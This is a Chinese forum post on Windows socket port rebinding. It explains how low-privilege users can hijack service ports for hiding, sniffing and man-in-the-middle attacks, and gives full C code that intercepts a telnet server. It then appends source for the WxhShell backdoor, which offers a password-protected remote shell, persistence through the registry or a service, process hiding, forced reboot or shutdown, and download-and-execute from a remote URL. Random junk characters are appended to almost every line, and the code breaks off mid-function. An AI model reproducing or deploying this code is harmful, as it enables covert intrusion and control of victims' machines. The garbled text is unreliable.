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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0$~zeG"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GYq.!d@O  
L93&.d@m9  
  saddr.sin_family = AF_INET; l6wN&JHTh  
n\ yDMY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zFn-V EJ)  
'%2q'LqSA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `?fY!5BA  
>*A"tk#oR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AD ,  
y@'m D*z  
  这意味着什么?意味着可以进行如下的攻击: G2A^+R0\  
e{"r3*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mjwh40x.o  
O"D0+BK79e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <^APq8>  
hZ ve8J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dP0%<Q|  
X{j`H\'L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t%`GXJb  
t[ Zoe+&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {|;5P.,l  
sfv{z!mo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <ETR6r  
d0Jaa1b~O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bCv^za]P6  
f""+jc1  
  #include F"k.1.  
  #include ?Z ]5 [  
  #include |@a.dgz,  
  #include    aWe?n;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;E"TOC  
  int main() [-*1M4D9  
  { ?'@tx4#v\2  
  WORD wVersionRequested; d1"%sI  
  DWORD ret; VKjDK$  
  WSADATA wsaData; }52]  
  BOOL val; a=m7pe ^  
  SOCKADDR_IN saddr; xTy[X"sJ  
  SOCKADDR_IN scaddr; yMQZulCWE  
  int err; xzqgem`[\  
  SOCKET s; \,b@^W6e>  
  SOCKET sc; @.PVUP  
  int caddsize; lBbUA)z6  
  HANDLE mt; jI-\~  
  DWORD tid;   ]Ywj@-*q  
  wVersionRequested = MAKEWORD( 2, 2 ); `H_.<``>  
  err = WSAStartup( wVersionRequested, &wsaData ); P2q'P&  
  if ( err != 0 ) { `pHlGbrW  
  printf("error!WSAStartup failed!\n"); LZ97nvK  
  return -1; km)5?  
  } .fQ/a`AsU  
  saddr.sin_family = AF_INET; 4!%TY4 bJ  
   HR/"Nwr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XpFo SW#K  
E7_)P>aS5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); : " ([i"  
  saddr.sin_port = htons(23); b?p_mQKtZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @213KmB.  
  { ww_gG5Fc$  
  printf("error!socket failed!\n"); <0Mc\wy  
  return -1; 0nh;0Z  
  } ((2 g  
  val = TRUE; NaR/IsN8%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8op,;Z7Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3M;[.b  
  { FXHcy:)}G  
  printf("error!setsockopt failed!\n"); {Q&@vbw'  
  return -1; ,r&:C48 dI  
  } Eagl7'x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "I)*W8wTn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dKOW5\H'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^^ Q'AE  
/G zA89N(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DPU%4te  
  { Mn- f  
  ret=GetLastError(); -FAAP&LG  
  printf("error!bind failed!\n"); Auq)  
  return -1; 0X`sQNx  
  } }\9elVt'2  
  listen(s,2); ; W/K7}  
  while(1) ^x! N]  
  { jkPye{j  
  caddsize = sizeof(scaddr); muAI$IRR   
  //接受连接请求 @E(_H$|E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (5^bU<  
  if(sc!=INVALID_SOCKET) 6vx0F?>_  
  { +YL9gNN>P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZQZBap"  
  if(mt==NULL) =~OH.=9\  
  { NA%(ZRSg(  
  printf("Thread Creat Failed!\n"); x >u \  
  break; c k$ > yk  
  } aR iD}P*V  
  } B=>:w%<Ii  
  CloseHandle(mt); #B;~i6h]  
  } zyznFiE  
  closesocket(s); zL1*w@6  
  WSACleanup(); y+ZRh?2  
  return 0; '|zkRdB*Lq  
  }   's.cwB: #  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ur`jmB  
  { yFIB/ln:  
  SOCKET ss = (SOCKET)lpParam; O4Wn+$AN  
  SOCKET sc; VSK!Pc.G}  
  unsigned char buf[4096]; 'nK(cKDIG  
  SOCKADDR_IN saddr; WBo|0(#  
  long num; .>5KwEK~  
  DWORD val; '7+e!>"  
  DWORD ret; /[[_}\xI%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j89C~xP6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i\2d1Z  
  saddr.sin_family = AF_INET; cJ6n@\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #cN0ciCT'  
  saddr.sin_port = htons(23); 7e{w)m:A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5hVp2 w-  
  { ,a:!"Z^ f  
  printf("error!socket failed!\n"); \S[7-:Lu^  
  return -1; E>/kNl  
  } .L,xqd[zC  
  val = 100; 0 i76(2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7J 0=HbH  
  { QKj-"y[  
  ret = GetLastError(); `zr%+  
  return -1; bNUb  
  } mkA1Sh{hX>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RXMzwk  
  { x@-bY  
  ret = GetLastError(); aoLYw 9  
  return -1; g4NxNjM;  
  } }U)g<Kzh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lo'P;Sb4<}  
  { =}:9y6QR.  
  printf("error!socket connect failed!\n"); Y9b|lP7!  
  closesocket(sc); uQ^r1 $#  
  closesocket(ss); *W'F 6Hpu  
  return -1; a3&&7n  
  } Q(P'4XCm  
  while(1) q/ x(:yol  
  { z9@Tg= #i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .qjVw?E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s 0}OsHAj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @yBg)1AL  
  num = recv(ss,buf,4096,0); 7pB5o2CD0  
  if(num>0) n*tT <  
  send(sc,buf,num,0); J&64tQl*  
  else if(num==0) iKy_DV;J  
  break; '$5.{o`s*1  
  num = recv(sc,buf,4096,0); 0!WF,)/T7i  
  if(num>0) h$#QRH  
  send(ss,buf,num,0); K`=O!;  
  else if(num==0) 5dH}cXs  
  break; * u_ nu>  
  } zJp}JO  
  closesocket(ss); R)>/P{ A-P  
  closesocket(sc); QZcdfJck=+  
  return 0 ; GpjyF_L  
  } '@Zau\xC  
B8+J0jdg6%  
/Iwnl   
========================================================== ()< E?D=  
RC_w 1:h  
下边附上一个代码,,WXhSHELL 5r=xhOe`  
!.\EU*)1  
========================================================== s "KPTV  
zTDB]z!A  
#include "stdafx.h" v/n4Lp$W^  
\a:#e%]qz9  
#include <stdio.h> (1~d/u?2\  
#include <string.h> 7 Jxhn!  
#include <windows.h> sV8}Gv a  
#include <winsock2.h> H4s^&--  
#include <winsvc.h> =0te.io)3O  
#include <urlmon.h> K[tQ>C@s2  
gWt}q-@nRR  
#pragma comment (lib, "Ws2_32.lib") hdL/zW7]  
#pragma comment (lib, "urlmon.lib") {K\l3_=5qb  
& PHejG_#  
#define MAX_USER   100 // 最大客户端连接数 3F5Y#[L`  
#define BUF_SOCK   200 // sock buffer .A;e` cKb  
#define KEY_BUFF   255 // 输入 buffer _[zZm*  
I{8fTod  
#define REBOOT     0   // 重启 oF1{/ERS  
#define SHUTDOWN   1   // 关机 Kjw4,z%\94  
`1|#Za~e  
#define DEF_PORT   5000 // 监听端口 _ZM$&6EC  
 %2 A-u  
#define REG_LEN     16   // 注册表键长度 i$~2pr  
#define SVC_LEN     80   // NT服务名长度 6jv_j[[  
d~bZOy  
// 从dll定义API ao4"=My*G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >s 4"2X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U(lcQC`$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~U] "dbQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +_.k\CRms  
:}QBrd  
// wxhshell配置信息 BCDmce`=l  
struct WSCFG { $XBn:0U  
  int ws_port;         // 监听端口 tUS)1*{_  
  char ws_passstr[REG_LEN]; // 口令 v'R{lXE  
  int ws_autoins;       // 安装标记, 1=yes 0=no m5!~PG:_  
  char ws_regname[REG_LEN]; // 注册表键名 ^/nj2"  
  char ws_svcname[REG_LEN]; // 服务名 }ll&qb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DuESLMhz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iFJ2dFA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }6;K+INT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3V)ef$Y0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8nt3S m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {M`yYeo  
9g*O;0uz  
}; "gm[q."n<  
~0}gRpMW  
// default Wxhshell configuration i!H)@4jX  
struct WSCFG wscfg={DEF_PORT, (HNxo{t  
    "xuhuanlingzhe", ?hqHTH:PU  
    1, RJpH1XQ j  
    "Wxhshell", nz{ ;]U1  
    "Wxhshell", T:v.]0l~  
            "WxhShell Service", "I[a]T}/  
    "Wrsky Windows CmdShell Service", 9q +I  
    "Please Input Your Password: ", bsfYz  
  1, G.2\Sw  
  "http://www.wrsky.com/wxhshell.exe", pbfIO47ZC  
  "Wxhshell.exe" f`r o {p  
    }; `pMI @"m  
h |Ofi  
// 消息定义模块 gMN>`Z`fV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rm@#GP`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 26SXuFJ@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $w,?%i97  
char *msg_ws_ext="\n\rExit."; 4Zz%vY  
char *msg_ws_end="\n\rQuit."; C`G+b{o  
char *msg_ws_boot="\n\rReboot..."; L]wWJL  
char *msg_ws_poff="\n\rShutdown..."; W''%{A/'  
char *msg_ws_down="\n\rSave to "; ~ m/nV81  
Xk9mJ]31LC  
char *msg_ws_err="\n\rErr!"; lk.]!K$}  
char *msg_ws_ok="\n\rOK!"; wM$N#K@  
w=NM==cLj  
char ExeFile[MAX_PATH]; " ^v/Y  
int nUser = 0; noSkKqP  
HANDLE handles[MAX_USER]; VI xGD#m  
int OsIsNt; ldd8'2  
RIhu9W   
SERVICE_STATUS       serviceStatus; JD`IPQb~E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 968<yO]  
{6*$yLWK  
// 函数声明 \,UpFuU\  
int Install(void); / .wO<l=  
int Uninstall(void); oo+i3af&7  
int DownloadFile(char *sURL, SOCKET wsh); Lud[.>i  
int Boot(int flag); ?*oBevUnCY  
void HideProc(void); M =/+q  
int GetOsVer(void); 6o5NeKZ  
int Wxhshell(SOCKET wsl); oI\ Lepl*  
void TalkWithClient(void *cs); ]%%I=r  
int CmdShell(SOCKET sock); iXoEdt)  
int StartFromService(void); DOaTp f  
int StartWxhshell(LPSTR lpCmdLine); k.."_ 4  
r\PO?1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O{vVW9Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `EXo=Dqc  
<?2g\+{s9  
// 数据结构和表定义 qjBF]3%t%  
SERVICE_TABLE_ENTRY DispatchTable[] = A#o ~nC<  
{ mNII-X G  
{wscfg.ws_svcname, NTServiceMain}, GhJ<L3  
{NULL, NULL} 9QXBz=Fnf  
}; R|@?6<  
mm dQ\\  
// 自我安装 +$uQ_ve  
int Install(void) >P9|?:c  
{ =(==aP  
  char svExeFile[MAX_PATH]; wsKOafrV  
  HKEY key; |F}6Zv  
  strcpy(svExeFile,ExeFile); g[c_rty  
Q4Zw<IZv5  
// 如果是win9x系统,修改注册表设为自启动 5!s7`w]8*0  
if(!OsIsNt) { 1!S*z^LGl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tLE7s_^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,q K'!  
  RegCloseKey(key); On~w`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;RW0Dn)Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @oNYMQ@)d  
  RegCloseKey(key); I.6 qA *  
  return 0; , 3&D A  
    } #?h-<KQQ  
  } ]as+gZ8  
} CJYpgSr  
else { Q{o]^tN  
Z[G[.\0  
// 如果是NT以上系统,安装为系统服务 =h>jo&=Wad  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9dO. ,U*`  
if (schSCManager!=0) 7~qyz]KkE  
{ Yq-Vwh/  
  SC_HANDLE schService = CreateService YlC$L$%Zd.  
  ( :^En\YcU  
  schSCManager, X( )yhe_  
  wscfg.ws_svcname, 4T>d%Tt+)  
  wscfg.ws_svcdisp, [BTOs4f  
  SERVICE_ALL_ACCESS, " Ng%"Nz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oFi_ op  
  SERVICE_AUTO_START, [9C{\t  
  SERVICE_ERROR_NORMAL, X|'[\v2ld  
  svExeFile, 8U)*kmq  
  NULL, .[:y`PCF  
  NULL, 5v[2R.eT-  
  NULL, j,79G^/YG  
  NULL, NX&Z=ObHu}  
  NULL  6hO]eS  
  ); WB.w3w [f  
  if (schService!=0) ce<88dL  
  { s$Vz1B  
  CloseServiceHandle(schService); ZA7b;{o [  
  CloseServiceHandle(schSCManager); >sGiDK @  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xyrlR;Sk  
  strcat(svExeFile,wscfg.ws_svcname); SUb:0GUa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @:/H)F^x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IMSLHwZ  
  RegCloseKey(key); T0X+\&W  
  return 0; ~,Kx"VK  
    } XD%GNZ  
  } A~ @x8  
  CloseServiceHandle(schSCManager); pG^>y0  
} uC|bC#;  
} 2Ah B)8bG  
ew&"n2r  
return 1; cS%;JV>C  
} f~?kx41dq  
J(5#fo{Q.g  
// 自我卸载 T2}X~A  
int Uninstall(void) 6SF29[&  
{ y-uSpW  
  HKEY key; }E^k*S  
U E-1p  
if(!OsIsNt) { N (0%C?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y?V.O  
  RegDeleteValue(key,wscfg.ws_regname); X- j@#Qb  
  RegCloseKey(key); F):1@.S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ODxCD%L  
  RegDeleteValue(key,wscfg.ws_regname); eyuQ}R  
  RegCloseKey(key); (z:qj/|  
  return 0; wln"g,ct  
  } 1b<[/g9  
} t+#vcg,G  
} b/d 1(B@  
else { )C$pjjo/`  
l^2m7 7)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v+~O\v5Q  
if (schSCManager!=0) "I QM4:  
{ `h~-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *{(tg~2'(  
  if (schService!=0) %-L T56T  
  { d^Rea8  
  if(DeleteService(schService)!=0) { m[nrr6 G"  
  CloseServiceHandle(schService); o|APsQE  
  CloseServiceHandle(schSCManager); ;)Sf|  
  return 0; #s{EIj~YR_  
  } |`pDOd  
  CloseServiceHandle(schService); dN@C)5pm5`  
  } riQ0'-p  
  CloseServiceHandle(schSCManager); K$wxiGg8P  
} 6GoQJ  
} 0py29>"t  
#kgLdd"  
return 1; 0lU pil  
} N_E)f  
T%yGSk  
// 从指定url下载文件 < =!FB8 .  
int DownloadFile(char *sURL, SOCKET wsh) "%w E>E  
{ L|p+;ex  
  HRESULT hr; EUby QL  
char seps[]= "/"; P1&Irwb`  
char *token; O f]/tdPp  
char *file; ,+v>(h>q  
char myURL[MAX_PATH]; ^;[^L=}8$  
char myFILE[MAX_PATH]; gkDXt^Ob  
rQ(u@u;  
strcpy(myURL,sURL); WO*dO9O  
  token=strtok(myURL,seps); PY#_$ C  
  while(token!=NULL) >]x%+@{|  
  { SP;1XXlL  
    file=token; aWY#gI{  
  token=strtok(NULL,seps); k{ulu  
  } & kQj)  
P"|-)d  
GetCurrentDirectory(MAX_PATH,myFILE); eC@b-q   
strcat(myFILE, "\\"); xmejoOF  
strcat(myFILE, file); CUx-k|\  
  send(wsh,myFILE,strlen(myFILE),0); .ZupsS9l  
send(wsh,"...",3,0); Hq|{Nt%Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Vr#>W  
  if(hr==S_OK) =3=8oFx8  
return 0; C_&ZQlgQ  
else K@?K4o   
return 1; 4$+/7I \  
_ Gkb[H&RZ  
} U.1&'U*  
%>1C ($^  
// 系统电源模块 4JL]?75  
int Boot(int flag) *t`=1Ioj  
{ k/i&e~! \  
  HANDLE hToken; xu@+b~C\  
  TOKEN_PRIVILEGES tkp; vBV_aB1{  
Ah;`0Hz;  
  if(OsIsNt) { X.AE>fx*h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p-h(C'PqF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fnuheb'&m  
    tkp.PrivilegeCount = 1; #'I<q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >vDi,qmZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ctR ^"'u  
if(flag==REBOOT) { 7)BK&kpVr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c1<jY~U  
  return 0; EME}G42KN  
} |N|[E5Cn  
else { - H`, ` #{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j rg B56LL  
  return 0; OpmPw4?}  
} OG^#e+  
  } K<v:RbU|[1  
  else { ^2nH6,LPS  
if(flag==REBOOT) { %-an\.a.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q*}$1 zb  
  return 0; B-wF1! Jv  
} L(}/W~En  
else { 4 ;^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h5lngw  
  return 0; $ Zj3#l:rK  
} @eP(j@(^  
} 8aVj@x$'  
Z& bIjp  
return 1; @DlN;r ?Cv  
} rEj Ez+wu  
<-HWs@8#  
// win9x进程隐藏模块 JTTI`b2l_  
void HideProc(void) e09QaY  
{ N`LY$U+N|  
ooj^Z%9P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0e j*0"Mq  
  if ( hKernel != NULL ) =- !B4G$  
  { !*}E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  /EwNMU*6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #yOeL3|b'  
    FreeLibrary(hKernel); /U="~{*-R  
  } e'~<uN>  
?}No'E1!I  
return; ygxaT"3"=  
} RggO|s+0;  
|&~);>Cq2  
// 获取操作系统版本 wvH*<,8V q  
int GetOsVer(void) 33NzQb  
{ LG=_>:~t>  
  OSVERSIONINFO winfo; !X1 KOG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =g)SZK  
  GetVersionEx(&winfo); B \.0 5<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) US&:UzI.  
  return 1; B~%SB/eu  
  else Hqb-)8 ~  
  return 0; B] PG  
} 3*e )D/lm  
21hTun"W  
// 客户端句柄模块 pZ 7KWk4  
int Wxhshell(SOCKET wsl) o:@A%*jg  
{ X + B=?|M  
  SOCKET wsh; \n-.gG  
  struct sockaddr_in client; 2lxA/.f  
  DWORD myID; Pk^V6-  
C+0BV~7J<<  
  while(nUser<MAX_USER) c  
{ >ajcfG .k(  
  int nSize=sizeof(client); D"P<;@ef  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o 'Z W  
  if(wsh==INVALID_SOCKET) return 1; :-j/Y'H_  
4qyPjAG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L]=LY  
if(handles[nUser]==0) Z )X(  
  closesocket(wsh); >n5Kz]]%  
else l'?(4 N  
  nUser++; , 1il&  
  } ) Hqn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A{gniYqvB`  
,DCrhk  
  return 0; Olr'n% }  
} KXcE@q9  
!{XVaQ?x  
// 关闭 socket cB2~W%H  
void CloseIt(SOCKET wsh) ^F-AZP /5F  
{ <#lNi.?.  
closesocket(wsh); <4*)J9V^s=  
nUser--; )NlxW5  
ExitThread(0); WU6F-{M"?  
} TWU1@5?Ct  
Kj+TP qXb  
// 客户端请求句柄 oi%IHX(`  
void TalkWithClient(void *cs) NZuylQ)0  
{ <^adt *m  
'^BTa6W}m  
  SOCKET wsh=(SOCKET)cs; _j]vR  
  char pwd[SVC_LEN]; _+qtH< F/  
  char cmd[KEY_BUFF]; V/J-zH&  
char chr[1]; `%=!_|  
int i,j; +\Je B/F  
y9 K'(/  
  while (nUser < MAX_USER) { vH{JLN2  
1P/4,D@  
if(wscfg.ws_passstr) { +P=I4-?eX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MQVEO5   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W 6CNMI]  
  //ZeroMemory(pwd,KEY_BUFF); 0;"  >.  
      i=0; O_Z   
  while(i<SVC_LEN) { n ZzGak  
=]0AZ  
  // 设置超时 u@kr;^m  
  fd_set FdRead; NJ(H$tB@  
  struct timeval TimeOut; YF13&E2`\  
  FD_ZERO(&FdRead); CjU?3Ag  
  FD_SET(wsh,&FdRead); oTf^-29d  
  TimeOut.tv_sec=8; ( Uk\O`)m  
  TimeOut.tv_usec=0; zmU>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cnM`ywKW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^ ]SU (kY  
:Q>{Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! p3vnOX6  
  pwd=chr[0]; fUB+9G(Bx  
  if(chr[0]==0xd || chr[0]==0xa) { Kk/cI6`W  
  pwd=0; 't3nh  
  break; 3$ BYfI3H  
  } j8ag}%  
  i++; zG~nRt{4  
    } $!:xjb  
k#<Y2FJa  
  // 如果是非法用户,关闭 socket L_fiE3G|>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X1GM\*BE  
} v;IuB  
Ai5D[ykX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s@|TQ9e |j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HeM-  
'dcO-A:>  
while(1) { 01o,9_|FL  
jNP%BNd1f  
  ZeroMemory(cmd,KEY_BUFF); tnC,1HV0[  
{_X&{dZLX  
      // 自动支持客户端 telnet标准   D<xDj#Z~1  
  j=0; >~\CiV4^  
  while(j<KEY_BUFF) { 7R>Pk9J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @%[ VegT  
  cmd[j]=chr[0]; r#WAS2.TP  
  if(chr[0]==0xa || chr[0]==0xd) { q#.+P1"U  
  cmd[j]=0; pAc "Wo(Q  
  break; GD }i=TK  
  } x: 2 o$+v3  
  j++; .$"69[1H  
    } ~)iQbLI  
G!w?\-  
  // 下载文件 ;Y`k-R:E6A  
  if(strstr(cmd,"http://")) { X8(WsN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mjbV^^>  
  if(DownloadFile(cmd,wsh)) /7Ft1f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r r(UE  
  else JAI;7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q%k _C0  
  } }G 1hB#j  
  else { XN~r d,MZ%  
5w@Q %'o`I  
    switch(cmd[0]) { 1fU~&?&-u  
  '0/[%Q  
  // 帮助 GsC4ty  
  case '?': { ri1:q.:I]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TS;?>J-  
    break; [^A>hs*  
  } z|i2M8  
  // 安装 XB\n4 |4  
  case 'i': { .l~g`._  
    if(Install()) /SQ1i}%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uzWz+atH  
    else G>0 hi1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IP l]$j>N  
    break; VHTr;(]hk  
    } +v"%@lC};  
  // 卸载 q<w Q/m  
  case 'r': { 1<3!   
    if(Uninstall())  FK|q*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k^r-~q+NV#  
    else #BX^"J{~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $nW^Gqwj]1  
    break; pN7 v7rs  
    } 1U~yu&  
  // 显示 wxhshell 所在路径 ~QE-$;  
  case 'p': { :*s+X$x,<  
    char svExeFile[MAX_PATH]; 2~2j?\AEd.  
    strcpy(svExeFile,"\n\r"); FK.Qj P:  
      strcat(svExeFile,ExeFile); P};GcV-  
        send(wsh,svExeFile,strlen(svExeFile),0); uM('R;<^  
    break; jd?NN:7  
    } {-)*.l=  
  // 重启 x>~.cey  
  case 'b': { Q1?0 ]5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y`.m'n7>P  
    if(Boot(REBOOT)) ^ ]CQd   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8S7 YVsDz"  
    else { ouR(l;  
    closesocket(wsh); gPg2Ve0Qy  
    ExitThread(0); nW `EBs  
    } TGu]6NzyZ  
    break; <Z8^.t)|  
    } #[ch?K  
  // 关机 { aq}Q|?/  
  case 'd': { g\foBK:GE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k;?E,!{  
